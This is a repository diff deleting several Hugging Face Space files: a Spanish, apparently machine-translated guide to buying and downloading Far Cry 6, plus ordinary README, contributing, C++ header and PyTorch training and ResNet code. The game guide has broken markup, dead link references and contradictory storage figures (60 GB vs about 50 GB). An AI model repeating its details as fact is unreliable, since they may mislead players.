- <p>Si reservaste cualquier edición de Far Cry 6 antes de su fecha de lanzamiento, obtendrás algunos bonos exclusivos que mejorarán tu experiencia de juego. Estos bonos incluyen:</p>
8
- <ul>
9
- <li>Discos Locos - un arma mortal lanzador de discos que puede rebotar en las paredes y los enemigos. </li>
10
- <li>Libertad Chorizo - una piel para Chorizo, el adorable compañero de perro salchicha. </li>
11
- </ul>
12
- <p>Para obtener estos bonos, tendrá que canjear un código que viene con su correo electrónico de confirmación o recibo de reserva. Dependiendo de tu plataforma, deberás introducir este código en PlayStation Store, Microsoft Store, Epic Games Store, Ubisoft Store, Ubisoft+, la aplicación o sitio web de Stadia o la aplicación o sitio web de Luna. Una vez que canjees el código, podrás acceder a los bonos en el juego. </p>
13
- <h2>Requisitos del sistema Far Cry 6</h2>
14
- <p>Si estás planeando jugar Far Cry 6 en PC, tendrás que asegurarte de que tu sistema cumple con los requisitos mínimos o recomendados para el juego. Aquí hay una tabla de los requisitos del sistema para Far Cry 6:</p>
15
- <tabla>
16
- <tr>
17
- <th>Requisitos mínimos</th>
18
-
19
- </tr>
20
- <tr>
21
- <td>CPU: AMD Ryzen 3 1200 - 3.1 GHz / Intel i5-4460 - 3.2 GHz</td>
22
- <td>CPU: AMD Ryzen 5 3600X - 3.8 GHZ / Intel i7-7700 - 3.6 GHZ</td </tr>
23
- <tr>
24
- <td>GPU: AMD RX 460 - 4 GB / NVIDIA GTX 960 - 4 GB</td>
25
- <td>GPU: AMD RX VEGA64 - 8 GB / NVIDIA GTX 1080 - 8 GB</td>
26
- </tr>
27
- <tr>
28
- <td>RAM: 8 GB (modo de doble canal)</td>
29
- <td>RAM: 16 GB (modo de doble canal)</td>
30
- </tr>
31
- <tr>
32
- <td>Almacenamiento: 60 GB HDD (SSD recomendado)</td>
33
- <td>Almacenamiento: 60 GB HDD (SSD recomendado)</td>
34
- </tr>
35
- <tr>
36
- <td>OS: Windows 10 (64 bits)</td>
37
- <td>OS: Windows 10 (64 bits)</td>
38
- </tr>
39
- </tabla>
40
- <p>También puede comprobar la compatibilidad de su PC con Far Cry 6 mediante la aplicación Ubisoft Connect, que escaneará su sistema y lo comparará con los requisitos del juego. Puedes descargar la aplicación Ubisoft Connect desde la Ubisoft Store o el sitio web de Ubisoft. </p>
41
- <h2>Cómo descargar Far Cry 6 en PC</h2>
42
- <p>Si quieres jugar Far Cry 6 en PC, tienes varias opciones para elegir. Puedes comprar y descargar el juego en Epic Games Store, Ubisoft Store o Ubisoft+, que es el servicio de suscripción de Ubisoft que te da acceso a más de 100 juegos. He aquí cómo descargar Far Cry 6 en PC desde cada plataforma:</p>
43
- <h3>Tienda de juegos épicos</h3>
44
- <ol>
45
- <li>Lanza el lanzador de juegos épicos en tu PC, o descárgalo desde el sitio web de Epic Games si no lo tienes. </li>
46
- <li>Inicia sesión con tu cuenta de Epic Games, o crea una si no tienes una. </li>
47
- <li>Ir a la pestaña Tienda y buscar Far Cry 6, o haga clic en este enlace para ir directamente a la página del juego. </li>
48
- <li>Seleccione la edición de Far Cry 6 que desea comprar, y haga clic en Comprar ahora.</li>
49
- <li>Introduzca sus datos de pago y confirme su compra. </li>
50
- <li>Vaya a la pestaña Biblioteca y haga clic en Far Cry 6 para comenzar a descargar el juego. </li>
51
- <li>Una vez completada la descarga, haga clic en Iniciar para comenzar a jugar el juego. </li>
52
- </ol>
53
- <h3>Tienda de Ubisoft</h3>
54
- <ol>
55
-
56
- <li>Inicia sesión con tu cuenta de Ubisoft, o crea una si no tienes una. </li>
57
- <li>Ir a la pestaña Tienda y buscar Far Cry 6, o haga clic en este enlace para ir directamente a la página del juego. </li>
58
- <li> Seleccione la edición de Far Cry 6 que desea comprar, y haga clic en Añadir al carrito.</li>
59
- <li>Haga clic en Pago e introduzca sus datos de pago y confirme su compra. </li>
60
- <li>Ir a la pestaña Juegos y haga clic en Far Cry 6 para comenzar a descargar el juego. </li>
61
- <li>Una vez completada la descarga, haz clic en Jugar para empezar a jugar. </li>
62
- </ol>
63
- <h3>Ubisoft+</h3>
64
- <ol>
65
- <li>Vaya al sitio web de Ubisoft+ e inicie sesión con su cuenta de Ubisoft, o cree una si no tiene una. </li>
66
- <li>Haga clic en Suscribirse ahora y elija un plan mensual o anual. Obtendrá una prueba gratuita durante siete días si es un suscriptor nuevo. </li>
67
- <li>Introduzca sus datos de pago y confirme su suscripción. </li>
68
- <li>Inicie la aplicación Ubisoft Connect en su PC, o descárguela desde la Ubisoft Store o el sitio web de Ubisoft si no la tiene. </li>
69
- <li>Vaya a la pestaña Juegos y haga clic en Far Cry 6 para comenzar a descargar el juego. Tendrás acceso a la edición definitiva de Far Cry 6, que incluye todos los DLC y contenido adicional. </li>
70
- <li>Una vez completada la descarga, haz clic en Jugar para empezar a jugar. </li>
71
- </ol>
72
- <h2>Cómo descargar Far Cry 6 en PlayStation</h2>
73
- <p>Si quieres jugar a Far Cry 6 en PlayStation 4 o PlayStation 5, puedes comprar y descargar el juego desde PlayStation Store. He aquí cómo descargar Far Cry 6 en PlayStation:</p>
74
- <p></p>
75
- <ol>
76
- <li>Enciende tu consola PlayStation e inicia sesión con tu cuenta de PlayStation Network, o crea una si no tienes una. </li>
77
- <li>Vaya al icono de PlayStation Store en la pantalla de inicio y selecciónelo. </li>
78
- <li>Buscar Far Cry 6, o haga clic en este enlace (para PS4) o este enlace (para PS5) para ir directamente a la página del juego. </li>
79
- <li>Seleccione la edición de Far Cry 6 que desea comprar , y haga clic en Añadir al carrito.</li>
80
-
81
- <li>Ve a tu biblioteca y selecciona Comprado. Encuentra Far Cry 6 y haz clic en Descargar.</li>
82
- <li>Una vez completada la descarga, puede iniciar el juego desde su pantalla de inicio o Biblioteca.</li>
83
- </ol>
84
- <h2>Cómo descargar Far Cry 6 en Xbox</h2>
85
- <p>Si quieres jugar a Far Cry 6 en Xbox One o Xbox Series X/S, puedes comprar y descargar el juego en Microsoft Store. He aquí cómo descargar Far Cry 6 en Xbox:</p>
86
- <ol>
87
- <li>Encienda su consola Xbox e inicie sesión con su cuenta de Microsoft, o cree una si no tiene una. </li>
88
- <li> Vaya al icono de Microsoft Store en la pantalla de inicio y selecciónelo. </li>
89
- <li>Buscar Far Cry 6, o haga clic en este enlace (para Xbox One) o este enlace (para Xbox Series X/S) para ir directamente a la página del juego. </li>
90
- <li>Seleccione la edición de Far Cry 6 que desea comprar, y haga clic en Comprar ahora.</li>
91
- <li>Introduzca sus datos de pago y confirme su compra. </li>
92
- <li>El juego comenzará a descargarse automáticamente. Puede comprobar el progreso en la sección Cola del menú Mis juegos y aplicaciones. </li>
93
- <li>Una vez que la descarga se ha completado, puede iniciar el juego desde la pantalla de inicio o el menú Mis juegos y aplicaciones. </li>
94
- </ol>
95
- <h2>Cómo descargar Far Cry 6 en Stadia</h2>
96
- <p>Si quieres jugar Far Cry 6 en Stadia, puedes comprar y transmitir el juego desde la aplicación o sitio web de Stadia. He aquí cómo descargar Far Cry 6 en Stadia:</p>
97
- <ol>
98
- <li>Vaya a la aplicación o sitio web de Stadia e inicie sesión con su cuenta de Google, o cree una si no tiene una. </li>
99
- <li>Buscar Far Cry 6, o haga clic en este enlace para ir directamente a la página del juego. </li>
100
- <li>Seleccione la edición de Far Cry 6 que desea comprar, y haga clic en Comprar.</li>
101
- <li>Introduzca sus datos de pago y confirme su compra. </li>
102
- <li>El juego se agregará a su biblioteca. Puede comenzar a jugarlo haciendo clic en Play.</li>
103
- </ol>
104
- <h2>Cómo descargar Far Cry 6 en Amazon Luna</h2>
105
-
106
- <ol>
107
- <li>Vaya a la aplicación o sitio web de Luna e inicie sesión con su cuenta de Amazon, o cree una si no tiene una. </li>
108
- <li>Buscar Far Cry 6, o haga clic en este enlace para ir directamente a la página del juego. </li>
109
- <li>Seleccione la edición de Far Cry 6 que desea comprar, y haga clic en Comprar ahora.</li>
110
- <li>Introduzca sus datos de pago y confirme su compra. </li>
111
- <li>El juego se agregará a su biblioteca. Puede comenzar a jugarlo haciendo clic en Play.</li>
112
- </ol>
113
- <h1>Conclusión</h1>
114
- <p>Far Cry 6 es un emocionante juego de acción y aventura que te permite explorar una gran isla de mundo abierto, luchar contra un dictador despiadado y personalizar tus armas y vehículos. Tanto si juegas en PC, PlayStation, Xbox, Stadia o Amazon Luna, puedes descargar fácilmente Far Cry 6 siguiendo nuestras guías anteriores. No pierdas esta oportunidad de unirte a la revolución y liberar a Yara de la opresión de Antón Castillo. Reserva o compra Far Cry 6 hoy y prepárate para una experiencia de juego inolvidable. </p>
115
- <h1>Preguntas frecuentes</h1>
116
- <h4>P: ¿Qué tan grande es Far Cry 6?</h4>
117
- <p>A: Según Ubisoft, Far Cry 6 tiene alrededor de 50 GB de tamaño para PC, PlayStation y Xbox. Para Stadia y Amazon Luna, el tamaño puede variar dependiendo de su conexión a Internet y calidad de transmisión. </p>
118
- <h4>Q: ¿Puedo jugar Far Cry 6 sin conexión? </h4>
119
- <p>A: Sí, puedes jugar Far Cry 6 sin conexión en modo de un solo jugador. Sin embargo, necesitarás una conexión a Internet para algunas funciones, como multijugador cooperativo, almacenamiento en la nube, tablas de clasificación y actualizaciones. </p>
120
- <h4>Q: ¿Puedo jugar Far Cry 6 con mis amigos? </h4>
121
- <p>A: Sí, puedes jugar a Far Cry 6 con tus amigos en modo multijugador cooperativo. Puedes invitar a hasta tres amigos a unirse a tu juego y explorar Yara juntos. También puedes usar funciones de cross-play y cross-progression para jugar con amigos en diferentes plataformas y dispositivos. </p>
122
-
123
- <h4>P: ¿Cuál es la diferencia entre las ediciones Standard, Gold, Ultimate y Collector’s de Far Cry 6?</h4>
124
- <p>A: La Edición Estándar de Far Cry 6 incluye el juego base y los bonos de preorden. La Edición de Oro incluye el juego base, los bonos de preorden y el Pase de Temporada, que te da acceso a tres DLCs y más contenido. La Ultimate Edition incluye todo en la Gold Edition, además del Ultimate Pack, que contiene cuatro paquetes cosméticos: el Croc Hunter Pack, el Vice Pack, el Jungle Expedition Pack y el Blood Dragon Pack. The Collector’s Edition incluye todo en la Ultimate Edition, además de una réplica física de Tostador, un arma lanzallamas del juego, una caja de acero, un libro de arte, un mapa de Yara, un CD de banda sonora, un conjunto de pegatinas y un llavero. </p> 64aa2da5cf<br />
125
- <br />
126
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Bonosa2/dall-e_image-generation/README.md DELETED
@@ -1,12 +0,0 @@
1
- ---
2
- title: Dall-e Image-generation
3
- emoji: 📉
4
- colorFrom: pink
5
- colorTo: indigo
6
- sdk: gradio
7
- sdk_version: 3.29.0
8
- app_file: app.py
9
- pinned: false
10
- ---
11
-
12
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/CVPR/Dual-Key_Backdoor_Attacks/openvqa/docs/_source/advanced/contributing.md DELETED
@@ -1,29 +0,0 @@
1
- # Contributing to OpenVQA
2
-
3
- All kinds of contributions are welcome, including but not limited to the following.
4
-
5
- - Fixes (typo, bugs)
6
- - New features and components
7
-
8
- ## Workflow
9
-
10
- 1. fork and pull the latest version of OpenVQA
11
- 2. checkout a new branch (do not use master branch for PRs)
12
- 3. commit your changes
13
- 4. create a PR
14
-
15
- ## Code style
16
-
17
- ### Python
18
- We adopt [PEP8](https://www.python.org/dev/peps/pep-0008/) as the preferred code style.
19
- We use [flake8](http://flake8.pycqa.org/en/latest/) as the linter and [yapf](https://github.com/google/yapf) as the formatter.
20
- Please upgrade to the latest yapf (>=0.27.0) and refer to the configuration.
21
-
22
- >Before you create a PR, make sure that your code lints and is formatted by yapf.
23
-
24
- ### C++ and CUDA
25
- We follow the [Google C++ Style Guide](https://google.github.io/styleguide/cppguide.html).
26
-
27
-
28
-
29
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/CVPR/LIVE/thrust/thrust/system/detail/generic/replace.h DELETED
@@ -1,98 +0,0 @@
1
- /*
2
- * Copyright 2008-2013 NVIDIA Corporation
3
- *
4
- * Licensed under the Apache License, Version 2.0 (the "License");
5
- * you may not use this file except in compliance with the License.
6
- * You may obtain a copy of the License at
7
- *
8
- * http://www.apache.org/licenses/LICENSE-2.0
9
- *
10
- * Unless required by applicable law or agreed to in writing, software
11
- * distributed under the License is distributed on an "AS IS" BASIS,
12
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13
- * See the License for the specific language governing permissions and
14
- * limitations under the License.
15
- */
16
-
17
-
18
- #pragma once
19
-
20
- #include <thrust/detail/config.h>
21
- #include <thrust/system/detail/generic/tag.h>
22
-
23
- namespace thrust
24
- {
25
- namespace system
26
- {
27
- namespace detail
28
- {
29
- namespace generic
30
- {
31
-
32
-
33
- template<typename DerivedPolicy, typename InputIterator, typename OutputIterator, typename Predicate, typename T>
34
- __host__ __device__
35
- OutputIterator replace_copy_if(thrust::execution_policy<DerivedPolicy> &exec,
36
- InputIterator first,
37
- InputIterator last,
38
- OutputIterator result,
39
- Predicate pred,
40
- const T &new_value);
41
-
42
-
43
- template<typename DerivedPolicy, typename InputIterator1, typename InputIterator2, typename OutputIterator, typename Predicate, typename T>
44
- __host__ __device__
45
- OutputIterator replace_copy_if(thrust::execution_policy<DerivedPolicy> &exec,
46
- InputIterator1 first,
47
- InputIterator1 last,
48
- InputIterator2 stencil,
49
- OutputIterator result,
50
- Predicate pred,
51
- const T &new_value);
52
-
53
-
54
- template<typename DerivedPolicy, typename InputIterator, typename OutputIterator, typename T>
55
- __host__ __device__
56
- OutputIterator replace_copy(thrust::execution_policy<DerivedPolicy> &exec,
57
- InputIterator first,
58
- InputIterator last,
59
- OutputIterator result,
60
- const T &old_value,
61
- const T &new_value);
62
-
63
-
64
- template<typename DerivedPolicy, typename ForwardIterator, typename Predicate, typename T>
65
- __host__ __device__
66
- void replace_if(thrust::execution_policy<DerivedPolicy> &exec,
67
- ForwardIterator first,
68
- ForwardIterator last,
69
- Predicate pred,
70
- const T &new_value);
71
-
72
-
73
- template<typename DerivedPolicy, typename ForwardIterator, typename InputIterator, typename Predicate, typename T>
74
- __host__ __device__
75
- void replace_if(thrust::execution_policy<DerivedPolicy> &exec,
76
- ForwardIterator first,
77
- ForwardIterator last,
78
- InputIterator stencil,
79
- Predicate pred,
80
- const T &new_value);
81
-
82
-
83
- template<typename DerivedPolicy, typename ForwardIterator, typename T>
84
- __host__ __device__
85
- void replace(thrust::execution_policy<DerivedPolicy> &exec,
86
- ForwardIterator first,
87
- ForwardIterator last,
88
- const T &old_value,
89
- const T &new_value);
90
-
91
-
92
- } // end namespace generic
93
- } // end namespace detail
94
- } // end namespace system
95
- } // end namespace thrust
96
-
97
- #include <thrust/system/detail/generic/replace.inl>
98
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/CVPR/LIVE/thrust/thrust/system/tbb/detail/find.h DELETED
@@ -1,46 +0,0 @@
1
- /*
2
- * Copyright 2008-2013 NVIDIA Corporation
3
- *
4
- * Licensed under the Apache License, Version 2.0 (the "License");
5
- * you may not use this file except in compliance with the License.
6
- * You may obtain a copy of the License at
7
- *
8
- * http://www.apache.org/licenses/LICENSE-2.0
9
- *
10
- * Unless required by applicable law or agreed to in writing, software
11
- * distributed under the License is distributed on an "AS IS" BASIS,
12
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13
- * See the License for the specific language governing permissions and
14
- * limitations under the License.
15
- */
16
-
17
- #pragma once
18
-
19
- #include <thrust/detail/config.h>
20
- #include <thrust/system/detail/generic/find.h>
21
- #include <thrust/system/tbb/detail/execution_policy.h>
22
-
23
- namespace thrust
24
- {
25
- namespace system
26
- {
27
- namespace tbb
28
- {
29
- namespace detail
30
- {
31
-
32
- template <typename DerivedPolicy, typename InputIterator, typename Predicate>
33
- InputIterator find_if(execution_policy<DerivedPolicy> &exec,
34
- InputIterator first,
35
- InputIterator last,
36
- Predicate pred)
37
- {
38
- // tbb prefers generic::find_if to cpp::find_if
39
- return thrust::system::detail::generic::find_if(exec, first, last, pred);
40
- }
41
-
42
- } // end namespace detail
43
- } // end namespace tbb
44
- } // end namespace system
45
- } // end namespace thrust
46
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/CVPR/WALT/walt/apis/train.py DELETED
@@ -1,187 +0,0 @@
1
- import random
2
- import warnings
3
-
4
- import numpy as np
5
- import torch
6
- from mmcv.parallel import MMDataParallel, MMDistributedDataParallel
7
- from mmcv.runner import (HOOKS, DistSamplerSeedHook, EpochBasedRunner,
8
- Fp16OptimizerHook, OptimizerHook, build_optimizer,
9
- build_runner)
10
- from mmcv.utils import build_from_cfg
11
-
12
- from mmdet.core import DistEvalHook, EvalHook
13
- from walt.datasets import (build_dataloader, build_dataset,
14
- replace_ImageToTensor)
15
- from mmdet.utils import get_root_logger
16
- from mmcv_custom.runner import EpochBasedRunnerAmp
17
- try:
18
- import apex
19
- except:
20
- print('apex is not installed')
21
-
22
-
23
- def set_random_seed(seed, deterministic=False):
24
- """Set random seed.
25
-
26
- Args:
27
- seed (int): Seed to be used.
28
- deterministic (bool): Whether to set the deterministic option for
29
- CUDNN backend, i.e., set `torch.backends.cudnn.deterministic`
30
- to True and `torch.backends.cudnn.benchmark` to False.
31
- Default: False.
32
- """
33
- random.seed(seed)
34
- np.random.seed(seed)
35
- torch.manual_seed(seed)
36
- torch.cuda.manual_seed_all(seed)
37
- if deterministic:
38
- torch.backends.cudnn.deterministic = True
39
- torch.backends.cudnn.benchmark = False
40
-
41
-
42
- def train_detector(model,
43
- dataset,
44
- cfg,
45
- distributed=False,
46
- validate=False,
47
- timestamp=None,
48
- meta=None):
49
- logger = get_root_logger(cfg.log_level)
50
-
51
- # prepare data loaders
52
- dataset = dataset if isinstance(dataset, (list, tuple)) else [dataset]
53
- if 'imgs_per_gpu' in cfg.data:
54
- logger.warning('"imgs_per_gpu" is deprecated in MMDet V2.0. '
55
- 'Please use "samples_per_gpu" instead')
56
- if 'samples_per_gpu' in cfg.data:
57
- logger.warning(
58
- f'Got "imgs_per_gpu"={cfg.data.imgs_per_gpu} and '
59
- f'"samples_per_gpu"={cfg.data.samples_per_gpu}, "imgs_per_gpu"'
60
- f'={cfg.data.imgs_per_gpu} is used in this experiments')
61
- else:
62
- logger.warning(
63
- 'Automatically set "samples_per_gpu"="imgs_per_gpu"='
64
- f'{cfg.data.imgs_per_gpu} in this experiments')
65
- cfg.data.samples_per_gpu = cfg.data.imgs_per_gpu
66
-
67
- data_loaders = [
68
- build_dataloader(
69
- ds,
70
- cfg.data.samples_per_gpu,
71
- cfg.data.workers_per_gpu,
72
- # cfg.gpus will be ignored if distributed
73
- len(cfg.gpu_ids),
74
- dist=distributed,
75
- seed=cfg.seed) for ds in dataset
76
- ]
77
-
78
- # build optimizer
79
- optimizer = build_optimizer(model, cfg.optimizer)
80
-
81
- # use apex fp16 optimizer
82
- if cfg.optimizer_config.get("type", None) and cfg.optimizer_config["type"] == "DistOptimizerHook":
83
- if cfg.optimizer_config.get("use_fp16", False):
84
- model, optimizer = apex.amp.initialize(
85
- model.cuda(), optimizer, opt_level="O1")
86
- for m in model.modules():
87
- if hasattr(m, "fp16_enabled"):
88
- m.fp16_enabled = True
89
-
90
- # put model on gpus
91
- if distributed:
92
- find_unused_parameters = cfg.get('find_unused_parameters', False)
93
- # Sets the `find_unused_parameters` parameter in
94
- # torch.nn.parallel.DistributedDataParallel
95
- model = MMDistributedDataParallel(
96
- model.cuda(),
97
- device_ids=[torch.cuda.current_device()],
98
- broadcast_buffers=False,
99
- find_unused_parameters=find_unused_parameters)
100
- else:
101
- model = MMDataParallel(
102
- model.cuda(cfg.gpu_ids[0]), device_ids=cfg.gpu_ids)
103
-
104
- if 'runner' not in cfg:
105
- cfg.runner = {
106
- 'type': 'EpochBasedRunner',
107
- 'max_epochs': cfg.total_epochs
108
- }
109
- warnings.warn(
110
- 'config is now expected to have a `runner` section, '
111
- 'please set `runner` in your config.', UserWarning)
112
- else:
113
- if 'total_epochs' in cfg:
114
- assert cfg.total_epochs == cfg.runner.max_epochs
115
-
116
- # build runner
117
- runner = build_runner(
118
- cfg.runner,
119
- default_args=dict(
120
- model=model,
121
- optimizer=optimizer,
122
- work_dir=cfg.work_dir,
123
- logger=logger,
124
- meta=meta))
125
-
126
- # an ugly workaround to make .log and .log.json filenames the same
127
- runner.timestamp = timestamp
128
-
129
- # fp16 setting
130
- fp16_cfg = cfg.get('fp16', None)
131
- if fp16_cfg is not None:
132
- optimizer_config = Fp16OptimizerHook(
133
- **cfg.optimizer_config, **fp16_cfg, distributed=distributed)
134
- elif distributed and 'type' not in cfg.optimizer_config:
135
- optimizer_config = OptimizerHook(**cfg.optimizer_config)
136
- else:
137
- optimizer_config = cfg.optimizer_config
138
-
139
- # register hooks
140
- runner.register_training_hooks(cfg.lr_config, optimizer_config,
141
- cfg.checkpoint_config, cfg.log_config,
142
- cfg.get('momentum_config', None))
143
- if distributed:
144
- if isinstance(runner, EpochBasedRunner):
145
- runner.register_hook(DistSamplerSeedHook())
146
-
147
- # register eval hooks
148
- if validate:
149
- # Support batch_size > 1 in validation
150
- val_samples_per_gpu = cfg.data.val.pop('samples_per_gpu', 1)
151
- if val_samples_per_gpu > 1:
152
- # Replace 'ImageToTensor' to 'DefaultFormatBundle'
153
- cfg.data.val.pipeline = replace_ImageToTensor(
154
- cfg.data.val.pipeline)
155
- val_dataset = build_dataset(cfg.data.val, dict(test_mode=True))
156
- val_dataloader = build_dataloader(
157
- val_dataset,
158
- samples_per_gpu=val_samples_per_gpu,
159
- workers_per_gpu=cfg.data.workers_per_gpu,
160
- dist=distributed,
161
- shuffle=False)
162
- eval_cfg = cfg.get('evaluation', {})
163
- eval_cfg['by_epoch'] = cfg.runner['type'] != 'IterBasedRunner'
164
- eval_hook = DistEvalHook if distributed else EvalHook
165
- runner.register_hook(eval_hook(val_dataloader, **eval_cfg))
166
- '''
167
- '''
168
-
169
- # user-defined hooks
170
- if cfg.get('custom_hooks', None):
171
- custom_hooks = cfg.custom_hooks
172
- assert isinstance(custom_hooks, list), \
173
- f'custom_hooks expect list type, but got {type(custom_hooks)}'
174
- for hook_cfg in cfg.custom_hooks:
175
- assert isinstance(hook_cfg, dict), \
176
- 'Each item in custom_hooks expects dict type, but got ' \
177
- f'{type(hook_cfg)}'
178
- hook_cfg = hook_cfg.copy()
179
- priority = hook_cfg.pop('priority', 'NORMAL')
180
- hook = build_from_cfg(hook_cfg, HOOKS)
181
- runner.register_hook(hook, priority=priority)
182
-
183
- if cfg.resume_from:
184
- runner.resume(cfg.resume_from)
185
- elif cfg.load_from:
186
- runner.load_checkpoint(cfg.load_from)
187
- runner.run(data_loaders, cfg.workflow)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/CVPR/lama-example/models/ade20k/resnet.py DELETED
@@ -1,181 +0,0 @@
1
- """Modified from https://github.com/CSAILVision/semantic-segmentation-pytorch"""
2
-
3
- import math
4
-
5
- import torch.nn as nn
6
- from torch.nn import BatchNorm2d
7
-
8
- from .utils import load_url
9
-
10
- __all__ = ['ResNet', 'resnet50']
11
-
12
-
13
- model_urls = {
14
- 'resnet50': 'http://sceneparsing.csail.mit.edu/model/pretrained_resnet/resnet50-imagenet.pth',
15
- }
16
-
17
-
18
- def conv3x3(in_planes, out_planes, stride=1):
19
- "3x3 convolution with padding"
20
- return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,
21
- padding=1, bias=False)
22
-
23
-
24
- class BasicBlock(nn.Module):
25
- expansion = 1
26
-
27
- def __init__(self, inplanes, planes, stride=1, downsample=None):
28
- super(BasicBlock, self).__init__()
29
- self.conv1 = conv3x3(inplanes, planes, stride)
30
- self.bn1 = BatchNorm2d(planes)
31
- self.relu = nn.ReLU(inplace=True)
32
- self.conv2 = conv3x3(planes, planes)
33
- self.bn2 = BatchNorm2d(planes)
34
- self.downsample = downsample
35
- self.stride = stride
36
-
37
- def forward(self, x):
38
- residual = x
39
-
40
- out = self.conv1(x)
41
- out = self.bn1(out)
42
- out = self.relu(out)
43
-
44
- out = self.conv2(out)
45
- out = self.bn2(out)
46
-
47
- if self.downsample is not None:
48
- residual = self.downsample(x)
49
-
50
- out += residual
51
- out = self.relu(out)
52
-
53
- return out
54
-
55
-
56
- class Bottleneck(nn.Module):
57
- expansion = 4
58
-
59
- def __init__(self, inplanes, planes, stride=1, downsample=None):
60
- super(Bottleneck, self).__init__()
61
- self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False)
62
- self.bn1 = BatchNorm2d(planes)
63
- self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride,
64
- padding=1, bias=False)
65
- self.bn2 = BatchNorm2d(planes)
66
- self.conv3 = nn.Conv2d(planes, planes * 4, kernel_size=1, bias=False)
67
- self.bn3 = BatchNorm2d(planes * 4)
68
- self.relu = nn.ReLU(inplace=True)
69
- self.downsample = downsample
70
- self.stride = stride
71
-
72
- def forward(self, x):
73
- residual = x
74
-
75
- out = self.conv1(x)
76
- out = self.bn1(out)
77
- out = self.relu(out)
78
-
79
- out = self.conv2(out)
80
- out = self.bn2(out)
81
- out = self.relu(out)
82
-
83
- out = self.conv3(out)
84
- out = self.bn3(out)
85
-
86
- if self.downsample is not None:
87
- residual = self.downsample(x)
88
-
89
- out += residual
90
- out = self.relu(out)
91
-
92
- return out
93
-
94
-
95
- class ResNet(nn.Module):
96
-
97
- def __init__(self, block, layers, num_classes=1000):
98
- self.inplanes = 128
99
- super(ResNet, self).__init__()
100
- self.conv1 = conv3x3(3, 64, stride=2)
101
- self.bn1 = BatchNorm2d(64)
102
- self.relu1 = nn.ReLU(inplace=True)
103
- self.conv2 = conv3x3(64, 64)
104
- self.bn2 = BatchNorm2d(64)
105
- self.relu2 = nn.ReLU(inplace=True)
106
- self.conv3 = conv3x3(64, 128)
107
- self.bn3 = BatchNorm2d(128)
108
- self.relu3 = nn.ReLU(inplace=True)
109
- self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
110
-
111
- self.layer1 = self._make_layer(block, 64, layers[0])
112
- self.layer2 = self._make_layer(block, 128, layers[1], stride=2)
113
- self.layer3 = self._make_layer(block, 256, layers[2], stride=2)
114
- self.layer4 = self._make_layer(block, 512, layers[3], stride=2)
115
- self.avgpool = nn.AvgPool2d(7, stride=1)
116
- self.fc = nn.Linear(512 * block.expansion, num_classes)
117
-
118
- for m in self.modules():
119
- if isinstance(m, nn.Conv2d):
120
- n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
121
- m.weight.data.normal_(0, math.sqrt(2. / n))
122
- elif isinstance(m, BatchNorm2d):
123
- m.weight.data.fill_(1)
124
- m.bias.data.zero_()
125
-
126
- def _make_layer(self, block, planes, blocks, stride=1):
127
- downsample = None
128
- if stride != 1 or self.inplanes != planes * block.expansion:
129
- downsample = nn.Sequential(
130
- nn.Conv2d(self.inplanes, planes * block.expansion,
131
- kernel_size=1, stride=stride, bias=False),
132
- BatchNorm2d(planes * block.expansion),
133
- )
134
-
135
- layers = []
136
- layers.append(block(self.inplanes, planes, stride, downsample))
137
- self.inplanes = planes * block.expansion
138
- for i in range(1, blocks):
139
- layers.append(block(self.inplanes, planes))
140
-
141
- return nn.Sequential(*layers)
142
-
143
- def forward(self, x):
144
- x = self.relu1(self.bn1(self.conv1(x)))
145
- x = self.relu2(self.bn2(self.conv2(x)))
146
- x = self.relu3(self.bn3(self.conv3(x)))
147
- x = self.maxpool(x)
148
-
149
- x = self.layer1(x)
150
- x = self.layer2(x)
151
- x = self.layer3(x)
152
- x = self.layer4(x)
153
-
154
- x = self.avgpool(x)
155
- x = x.view(x.size(0), -1)
156
- x = self.fc(x)
157
-
158
- return x
159
-
160
-
161
- def resnet50(pretrained=False, **kwargs):
162
- """Constructs a ResNet-50 model.
163
-
164
- Args:
165
- pretrained (bool): If True, returns a model pre-trained on ImageNet
166
- """
167
- model = ResNet(Bottleneck, [3, 4, 6, 3], **kwargs)
168
- if pretrained:
169
- model.load_state_dict(load_url(model_urls['resnet50']), strict=False)
170
